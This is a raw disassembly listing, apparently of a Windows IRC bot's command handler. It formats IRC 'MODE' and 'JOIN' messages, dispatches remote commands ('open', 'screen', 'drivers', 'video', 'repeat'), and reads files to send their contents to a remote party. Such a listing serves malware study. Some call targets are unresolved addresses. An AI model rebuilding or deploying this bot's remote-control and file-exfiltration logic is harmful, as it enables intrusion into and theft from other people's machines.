		push	[ebp+var_8C]
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_800]
		mov	[ebp+var_804], esi
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_564], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_568], eax
		push	edi
		lea	eax, [ebp+var_2DC]
		push	offset unk_436948
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_2DC]
		push	17h
		push	eax
		call	sub_416D5A
		add	esp, 18h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_804]
		push	ebx
		push	eax
		push	offset sub_40CAF1
		push	ebx
		push	ebx
		call	near ptr 2680BE2h
		nop
		mov	ecx, [ebp+var_580]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_412E18


loc_412E02:				; CODE XREF: sub_40EE72+3FA4j
		cmp	[ebp+var_560], ebx
		jnz	loc_413A62
		push	32h
		nop
		call	near ptr 260048Fh
		jmp	short loc_412E02
; ---------------------------------------------------------------------------


loc_412E18:				; CODE XREF: sub_40EE72+3F8Ej
		nop
		call	near ptr 2650BAEh
		push	eax
		push	offset unk_4368FC
		jmp	loc_411888
; ---------------------------------------------------------------------------


loc_412E29:				; CODE XREF: sub_40EE72+3E4Ej
		push	offset unk_4368A8
		jmp	loc_413A54
; ---------------------------------------------------------------------------


loc_412E33:				; CODE XREF: sub_40EE72+251Bj
					; sub_40EE72+2532j
		push	[ebp+var_90]
		push	offset dword_4386A8
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F239
		cmp	[ebp+var_C], ebx
		jz	loc_40F239
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset dword_436898
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_2DC]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_418C10
		push	edi
		call	sub_41781F
		add	esp, 28h
		test	eax, eax
		jle	short loc_412EBC
		push	edi
		call	sub_41781F
		imul	eax, 3E8h
		pop	ecx
		push	eax
		nop
		call	near ptr 260048Fh


loc_412EBC:				; CODE XREF: sub_40EE72+4034j
		push	offset dword_436874
		call	sub_40BF6D
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_40F23C
; ---------------------------------------------------------------------------


loc_412ED0:				; CODE XREF: sub_40EE72+24EDj
					; sub_40EE72+2504j
		push	[ebp+var_90]
		push	offset dword_4386A8
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F239
		cmp	[ebp+var_C], ebx
		jz	loc_414F45
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		mov	eax, [ebp+arg_18]
		inc	eax
		push	offset aRepeat	; "repeat"
		push	eax
		call	sub_4176D0
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_412F8F
		push	[ebp+var_8C]
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset dword_436898
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_2DC]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_418C10


loc_412F4E:				; DATA XREF: ___:off_42DE40o
		add	esp, 24h
		lea	eax, [ebp+var_2DC]
		push	esi
		push	offset dword_436844
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		push	edi
		call	sub_41781F
		add	esp, 14h
		test	eax, eax
		jle	loc_414F45
		push	edi
		call	sub_41781F
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_40F23C
; ---------------------------------------------------------------------------


loc_412F8F:				; CODE XREF: sub_40EE72+40A3j
		push	offset dword_436800
		jmp	loc_411888
; ---------------------------------------------------------------------------


loc_412F99:				; CODE XREF: sub_40EE72+24BFj
					; sub_40EE72+24D6j
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2DC]
		push	offset dword_4367F8
		push	eax
		call	sub_4172AE
		push	edi
		call	sub_41781F
		add	esp, 10h


loc_412FB6:				; CODE XREF: sub_40EE72+41AEj
		test	eax, eax
		jle	loc_414F45
		push	edi
		call	sub_41781F
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_414F45


loc_412FD0:				; CODE XREF: sub_40EE72+4CBBj
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset dword_428598
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4450CC[eax]
		call	sub_40D633


loc_412FF4:				; CODE XREF: sub_40EE72+4469j
					; sub_40EE72+5D42j
		add	esp, 0Ch
		jmp	loc_414F45
; ---------------------------------------------------------------------------


loc_412FFC:				; CODE XREF: sub_40EE72+2491j
					; sub_40EE72+24A8j
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2DC]
		push	[ebp+arg_18]
		push	offset dword_4367EC
		push	eax
		call	sub_4172AE
		push	edi
		call	sub_41781F
		add	esp, 14h
		jmp	short loc_412FB6
; ---------------------------------------------------------------------------


loc_413022:				; CODE XREF: sub_40EE72+2463j
					; sub_40EE72+247Aj
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2DC]
		push	offset dword_4367E4
		push	eax
		call	sub_4172AE
		push	edi
		call	sub_41781F
		add	esp, 10h
		test	eax, eax
		jle	loc_414F45
		push	edi
		call	sub_41781F
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_414F45
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset dword_428598
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4450CC[eax]
		call	sub_40D633
		add	esp, 0Ch
		push	[ebp+arg_18]
		push	edi
		push	offset dword_4367B8
		jmp	loc_4132D6
; ---------------------------------------------------------------------------


loc_41308E:				; CODE XREF: sub_40EE72+2435j
					; sub_40EE72+244Cj
		cmp	[ebp+var_C], ebx
		jz	loc_414F45
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_4130BF
		push	esi
		lea	eax, [ebp+var_2DC]
		push	offset dword_4367B0
		push	eax
		call	sub_4172AE
		add	esp, 0Ch


loc_4130BF:				; CODE XREF: sub_40EE72+4236j
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	loc_414F45
		push	edi
		call	sub_41781F
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_414F45
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset dword_428598
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4450CC[eax]
		call	sub_40D633
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_436784
		jmp	loc_4132D6
; ---------------------------------------------------------------------------


loc_413113:				; CODE XREF: sub_40EE72+2407j
					; sub_40EE72+241Ej
		cmp	[ebp+var_C], ebx
		jz	loc_414F45
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_414F45
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	loc_414F45
		push	edi
		call	sub_41781F
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_414F45
		push	esi
		push	offset dword_428598
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4450CC[eax]
		call	sub_40D633
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_436758
		jmp	loc_4132D6
; ---------------------------------------------------------------------------


loc_413181:				; CODE XREF: sub_40EE72+23D9j
					; sub_40EE72+23F0j
		cmp	[ebp+var_C], ebx
		jz	loc_414F45
		push	edi
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_414F45
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	esi
		push	offset dword_436720
		jmp	loc_414F3E
; ---------------------------------------------------------------------------


loc_4131BB:				; CODE XREF: sub_40EE72+23ABj
					; sub_40EE72+23C2j
		push	[ebp+var_90]
		push	offset dword_4386A8
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F239
		push	[ebp+arg_18]
		push	offset dword_436714
		push	[ebp+arg_4]
		call	sub_40D633
		push	edi
		call	sub_41781F
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	near ptr 260048Fh
		nop
		push	[ebp+esi+var_88]
		push	[ebp+arg_18]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		push	offset dword_4366F0
		call	sub_40BF6D
		add	esp, 14h
		jmp	loc_414F45
; ---------------------------------------------------------------------------


loc_413224:				; CODE XREF: sub_40EE72+237Dj
					; sub_40EE72+2394j
		cmp	[ebp+var_C], ebx
		jz	loc_414F45
		push	edi
		call	sub_417AB0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_417AB0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417880
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_414F45
		push	esi
		lea	eax, [ebp+var_2DC]
		push	offset dword_436F0C
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 20h
		push	esi
		push	edi
		push	offset dword_4366C4
		jmp	short loc_4132D6
; ---------------------------------------------------------------------------


loc_41328A:				; CODE XREF: sub_40EE72+234Fj
					; sub_40EE72+2366j
		cmp	[ebp+var_C], ebx
		jz	loc_414F45
		push	edi
		call	sub_417AB0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_417AB0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417880
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_414F45
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h
		push	esi
		push	edi
		push	offset dword_436698


loc_4132D6:				; CODE XREF: sub_40EE72+4217j
					; sub_40EE72+429Cj ...
		call	sub_40BFE1
		jmp	loc_412FF4
; ---------------------------------------------------------------------------


loc_4132E0:				; CODE XREF: sub_40EE72+2321j
					; sub_40EE72+2338j
		cmp	[ebp+var_C], ebx
		jz	loc_40F239
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40F239
		push	eax
		push	edi
		call	sub_40BE75
		pop	ecx
		pop	ecx
		push	edi
		push	offset dword_43666C
		jmp	loc_413BFB
; ---------------------------------------------------------------------------


loc_413312:				; CODE XREF: sub_40EE72+22E1j
					; sub_40EE72+22F8j
		push	edi
		push	[ebp+arg_1C]
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414F45
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	loc_4133B6
		push	esi
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_41339E
		push	esi
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset dword_436898
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_2DC]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_418C10
		add	esp, 24h
		lea	eax, [ebp+var_2DC]
		push	esi
		push	edi
		push	offset dword_436638
		push	eax
		call	sub_4172AE
		add	esp, 10h
		inc	[ebp+arg_24]
		jmp	loc_414AC1
; ---------------------------------------------------------------------------


loc_41339E:				; CODE XREF: sub_40EE72+44D1j
		lea	eax, [ebp+var_2DC]
		push	offset dword_4365F8
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx
		jmp	loc_414AC1
; ---------------------------------------------------------------------------


loc_4133B6:				; CODE XREF: sub_40EE72+44BCj
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_40BB8C
		add	esp, 0Ch
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset dword_4365D0
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 10h
		jmp	loc_414AC1
; ---------------------------------------------------------------------------


loc_413400:				; CODE XREF: sub_40EE72+22B3j
					; sub_40EE72+22CAj
		push	offset aScreen	; "screen"
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413463
		cmp	[ebp+esi+var_8C], ebx
		jz	short loc_413450
		push	[ebp+esi+var_8C]
		call	sub_4085B3
		cmp	eax, 1
		pop	ecx
		jnz	short loc_413449
		push	[ebp+esi+var_8C]
		lea	eax, [ebp+var_2DC]
		push	offset dword_43658C
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		jmp	short loc_413463
; ---------------------------------------------------------------------------


loc_413449:				; CODE XREF: sub_40EE72+45B8j
		push	offset dword_436550
		jmp	short loc_413455
; ---------------------------------------------------------------------------


loc_413450:				; CODE XREF: sub_40EE72+45A6j
		push	offset dword_436508


loc_413455:				; CODE XREF: sub_40EE72+45DCj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx


loc_413463:				; CODE XREF: sub_40EE72+459Dj
					; sub_40EE72+45D5j
		push	offset aDrivers	; "drivers"
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4134FA
		mov	[ebp+arg_0], ebx


loc_41347B:				; CODE XREF: sub_40EE72+4673j
		lea	eax, [ebp+var_75C]
		push	1FFh
		push	eax
		lea	eax, [ebp+var_3F8]
		push	0FFh
		push	eax
		push	[ebp+arg_0]
		call	dword_43F698
		test	eax, eax
		jz	short loc_4134DE
		lea	eax, [ebp+var_75C]
		push	eax
		lea	eax, [ebp+var_3F8]
		push	eax
		lea	eax, [ebp+var_15B0]
		push	[ebp+arg_0]
		push	offset dword_4364CC
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_15B0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 28h


loc_4134DE:				; CODE XREF: sub_40EE72+462Cj
		inc	[ebp+arg_0]
		cmp	[ebp+arg_0], 0Ah
		jl	short loc_41347B
		lea	eax, [ebp+var_2DC]
		push	offset dword_436498
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx


loc_4134FA:				; CODE XREF: sub_40EE72+4600j
		push	offset aFrame	; "frame"
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4135A0
		cmp	[ebp+esi+var_8C], ebx
		jz	short loc_41358D
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_41358D
		cmp	[ebp+esi+var_84], ebx
		jz	short loc_41358D
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		jz	short loc_41358D
		push	eax
		call	sub_41781F
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41781F
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_41781F
		pop	ecx
		push	eax
		push	[ebp+esi+var_8C]
		call	sub_4087EE
		add	esp, 10h
		test	eax, eax
		jnz	short loc_413586
		push	[ebp+esi+var_8C]
		lea	eax, [ebp+var_2DC]
		push	offset dword_436454
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		jmp	short loc_4135A0
; ---------------------------------------------------------------------------


loc_413586:				; CODE XREF: sub_40EE72+46F5j
		push	offset dword_436410
		jmp	short loc_413592
; ---------------------------------------------------------------------------


loc_41358D:				; CODE XREF: sub_40EE72+46A4j
					; sub_40EE72+46ADj ...
		push	offset dword_4363C8


loc_413592:				; CODE XREF: sub_40EE72+4719j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx


loc_4135A0:				; CODE XREF: sub_40EE72+4697j
					; sub_40EE72+4712j
		push	offset aVideo	; "video"
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_413A62
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_413639
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_413639
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	short loc_413639
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		jz	short loc_413639
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_413639
		push	esi
		call	sub_41781F
		pop	ecx
		push	eax
		push	edi
		call	sub_41781F
		pop	ecx
		push	eax
		push	[ebp+arg_10]
		call	sub_41781F
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		call	sub_41781F
		pop	ecx
		push	eax
		push	[ebp+arg_18]
		call	sub_4089E7
		add	esp, 14h
		test	eax, eax
		jnz	short loc_41362F
		push	[ebp+arg_18]
		push	offset dword_43638C
		jmp	loc_411888
; ---------------------------------------------------------------------------


loc_41362F:				; CODE XREF: sub_40EE72+47AEj
		push	offset dword_43633C
		jmp	loc_413A54
; ---------------------------------------------------------------------------


loc_413639:				; CODE XREF: sub_40EE72+474Fj
					; sub_40EE72+475Dj ...
		push	offset dword_4362F0
		jmp	loc_413A54
; ---------------------------------------------------------------------------


loc_413643:				; CODE XREF: sub_40EE72+1CF0j
					; sub_40EE72+1D07j
		push	offset aR	; "r"
		push	edi
		call	sub_4179A8
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_4136BE
		mov	ebx, 200h
		push	esi
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		call	sub_41900C
		add	esp, 0Ch


loc_41366C:				; CODE XREF: sub_40EE72+4829j
		test	eax, eax
		jz	short loc_41369D
		push	1
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		push	esi
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		call	sub_41900C
		add	esp, 20h
		jmp	short loc_41366C
; ---------------------------------------------------------------------------


loc_41369D:				; CODE XREF: sub_40EE72+47FCj
		push	esi
		call	sub_417900
		pop	ecx
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset dword_4362BC
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		jmp	loc_4110FD
; ---------------------------------------------------------------------------


loc_4136BE:				; CODE XREF: sub_40EE72+47E2j
		push	edi
		push	offset dword_43628C
		jmp	loc_4110B1
; ---------------------------------------------------------------------------


loc_4136C9:				; CODE XREF: sub_40EE72+1CC2j
					; sub_40EE72+1CD9j
		cmp	[ebp+var_C], ebx
		jz	loc_414F45
		push	edi
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_414F45
		push	offset asc_42A660 ; "\n"
		push	esi
		call	sub_4179D0
		push	esi
		call	sub_40B358
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_413709
		push	offset dword_436250
		jmp	loc_413A54
; ---------------------------------------------------------------------------


loc_413709:				; CODE XREF: sub_40EE72+488Bj
		push	esi
		push	offset dword_436228
		jmp	loc_414AB2
; ---------------------------------------------------------------------------


loc_413714:				; CODE XREF: sub_40EE72+1C94j
					; sub_40EE72+1CABj
		cmp	[ebp+var_C], ebx
		jz	loc_414F45
		push	edi
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_414F45
		push	eax
		call	sub_40AAFA
		test	eax, eax
		pop	ecx
		jnz	short loc_413745
		push	offset unk_4361FC
		jmp	loc_413A54
; ---------------------------------------------------------------------------


loc_413745:				; CODE XREF: sub_40EE72+48C7j
		push	offset dword_4361D0
		jmp	loc_413A54
; ---------------------------------------------------------------------------


loc_41374F:				; CODE XREF: sub_40EE72+1C66j
					; sub_40EE72+1C7Dj
		push	7Fh
		lea	eax, [ebp+var_6EC]
		push	edi
		push	eax
		call	sub_418C10
		mov	esi, [ebp+esi+var_8C]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_41377E
		push	7Fh
		lea	eax, [ebp+var_66C]
		push	esi
		push	eax
		call	sub_418C10
		add	esp, 0Ch


loc_41377E:				; CODE XREF: sub_40EE72+48F8j
		push	7Fh
		lea	eax, [ebp+var_5EC]
		push	[ebp+var_8C]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_6F0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_564], eax
		push	edi
		lea	eax, [ebp+var_2DC]
		push	offset dword_4361A8
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	15h
		push	eax
		call	sub_416D5A
		add	esp, 18h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_6F0]
		push	ebx
		push	eax
		push	offset sub_40BC4B
		push	ebx
		push	ebx
		nop
		call	near ptr 2680BE2h
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_41381F


loc_413809:				; CODE XREF: sub_40EE72+49ABj
		cmp	[ebp+var_560], ebx
		jnz	loc_414AC1
		push	32h
		nop
		call	near ptr 260048Fh
		jmp	short loc_413809
; ---------------------------------------------------------------------------


loc_41381F:				; CODE XREF: sub_40EE72+4995j
		call	near ptr 2650BAEh
		nop
		push	eax
		push	offset unk_43615C
		jmp	loc_414AB2
; ---------------------------------------------------------------------------


loc_413830:				; CODE XREF: sub_40EE72+1C38j
					; sub_40EE72+1C4Fj
		push	ebx
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	edi
		call	sub_406387
		add	esp, 10h
		push	edi
		push	offset dword_436138
		jmp	loc_414F3E
; ---------------------------------------------------------------------------


loc_41384E:				; CODE XREF: sub_40EE72+1C0Aj
					; sub_40EE72+1C21j
		push	14h
		lea	eax, [ebp+var_708]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_6F4]
		push	edi
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4172AE
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_710], eax
		lea	eax, [ebp+var_D8]
		push	eax
		lea	eax, [ebp+var_5F0]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_5F0]
		push	eax
		lea	eax, [ebp+var_6F4]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_436104
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	12h
		push	eax
		call	sub_416D5A
		add	esp, 1Ch
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_710]
		push	ebx
		push	eax
		push	offset sub_40C512
		push	ebx
		push	ebx
		call	near ptr 2680BE2h
		nop
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_413927


loc_413911:				; CODE XREF: sub_40EE72+4AB3j
		cmp	[ebp+var_560], ebx
		jnz	loc_414E0F
		push	32h
		nop
		call	near ptr 260048Fh
		jmp	short loc_413911
; ---------------------------------------------------------------------------


loc_413927:				; CODE XREF: sub_40EE72+4A9Dj
		nop
		call	near ptr 2650BAEh
		push	eax
		push	offset dword_4385B0
		jmp	loc_414E00
; ---------------------------------------------------------------------------


loc_413938:				; CODE XREF: sub_40EE72+1BDCj
					; sub_40EE72+1BF3j
		push	edi
		nop
		call	near ptr 27D0BFFh
		test	eax, eax
		jz	short loc_413962
		push	edi
		push	offset dword_4360D8
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 10h
		jmp	loc_4110DC
; ---------------------------------------------------------------------------


loc_413962:				; CODE XREF: sub_40EE72+4ACFj
		push	offset dword_436A78
		call	sub_40AA35
		pop	ecx
		push	eax
		jmp	loc_414562
; ---------------------------------------------------------------------------


loc_413973:				; CODE XREF: sub_40EE72+1BAEj
					; sub_40EE72+1BC5j
		push	edi
		call	sub_41781F
		push	eax
		call	sub_415417
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		cmp	eax, esi
		push	edi
		jnz	short loc_413990
		push	offset unk_4360A0
		jmp	short loc_413995
; ---------------------------------------------------------------------------


loc_413990:				; CODE XREF: sub_40EE72+4B15j
		push	offset unk_43605C


loc_413995:				; CODE XREF: sub_40EE72+4B1Cj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_411100
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h
		jmp	loc_411100
; ---------------------------------------------------------------------------


loc_4139CE:				; CODE XREF: sub_40EE72+1B80j
					; sub_40EE72+1B97j
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_415188
		add	esp, 18h
		cmp	eax, 1
		push	edi
		jnz	short loc_4139F0
		push	offset unk_436028
		jmp	loc_4110B1
; ---------------------------------------------------------------------------


loc_4139F0:				; CODE XREF: sub_40EE72+4B72j
		push	offset unk_435FE8
		jmp	loc_4110B1
; ---------------------------------------------------------------------------


loc_4139FA:				; CODE XREF: sub_40EE72+1B52j
					; sub_40EE72+1B69j
		push	edi
		call	dword_43F6A8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_413A34
		push	2
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		call	dword_43F620
		cmp	eax, ebx
		jz	short loc_413A4F
		push	dword ptr [eax]


loc_413A1D:				; CODE XREF: sub_40EE72+4BDBj
		push	edi
		lea	eax, [ebp+var_2DC]
		push	offset dword_435FBC
		push	eax
		call	sub_4172AE
		add	esp, 10h
		jmp	short loc_413A62
; ---------------------------------------------------------------------------


loc_413A34:				; CODE XREF: sub_40EE72+4B95j
		push	edi
		call	dword_43F6EC
		cmp	eax, ebx
		jz	short loc_413A4F
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_43F6F4
		push	eax
		jmp	short loc_413A1D
; ---------------------------------------------------------------------------


loc_413A4F:				; CODE XREF: sub_40EE72+4BA7j
					; sub_40EE72+4BCBj
		push	offset dword_435F84


loc_413A54:				; CODE XREF: sub_40EE72+3E2Dj
					; sub_40EE72+3FBCj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx


loc_413A62:				; CODE XREF: sub_40EE72+2A25j
					; sub_40EE72+3B35j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_414AC1
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h
		jmp	loc_414AC1
; ---------------------------------------------------------------------------


loc_413A8C:				; CODE XREF: sub_40EE72+1B24j
					; sub_40EE72+1B3Bj
		push	7Fh
		push	edi
		push	[ebp+arg_14]
		call	sub_418C10
		add	esp, 0Ch
		push	edi
		push	offset dword_435F50
		jmp	loc_410E48
; ---------------------------------------------------------------------------


loc_413AA5:				; CODE XREF: sub_40EE72+1AF6j
					; sub_40EE72+1B0Dj
		push	5
		push	ebx
		push	ebx
		push	edi
		push	offset aOpen	; "open"
		push	ebx
		call	dword_43F5DC
		test	eax, eax
		push	edi
		jz	short loc_413AC5
		push	offset unk_435F14
		jmp	loc_4110B1
; ---------------------------------------------------------------------------


loc_413AC5:				; CODE XREF: sub_40EE72+4C47j
		push	offset unk_435ED0
		jmp	loc_4110B1
; ---------------------------------------------------------------------------


loc_413ACF:				; CODE XREF: sub_40EE72+1AC8j
					; sub_40EE72+1ADFj
		mov	al, [edi]
		mov	byte_42F5C4, al
		movsx	eax, byte ptr [edi]
		push	eax
		push	offset dword_435E9C
		jmp	loc_410E48
; ---------------------------------------------------------------------------


loc_413AE4:				; CODE XREF: sub_40EE72+1A9Aj
					; sub_40EE72+1AB1j
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	loc_414F45
		push	edi
		call	sub_41781F
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_414F45
		push	ebx
		push	ebx
		lea	eax, [ebp+var_B8]
		push	2
		push	eax
		call	sub_415CFF
		add	esp, 10h
		push	eax
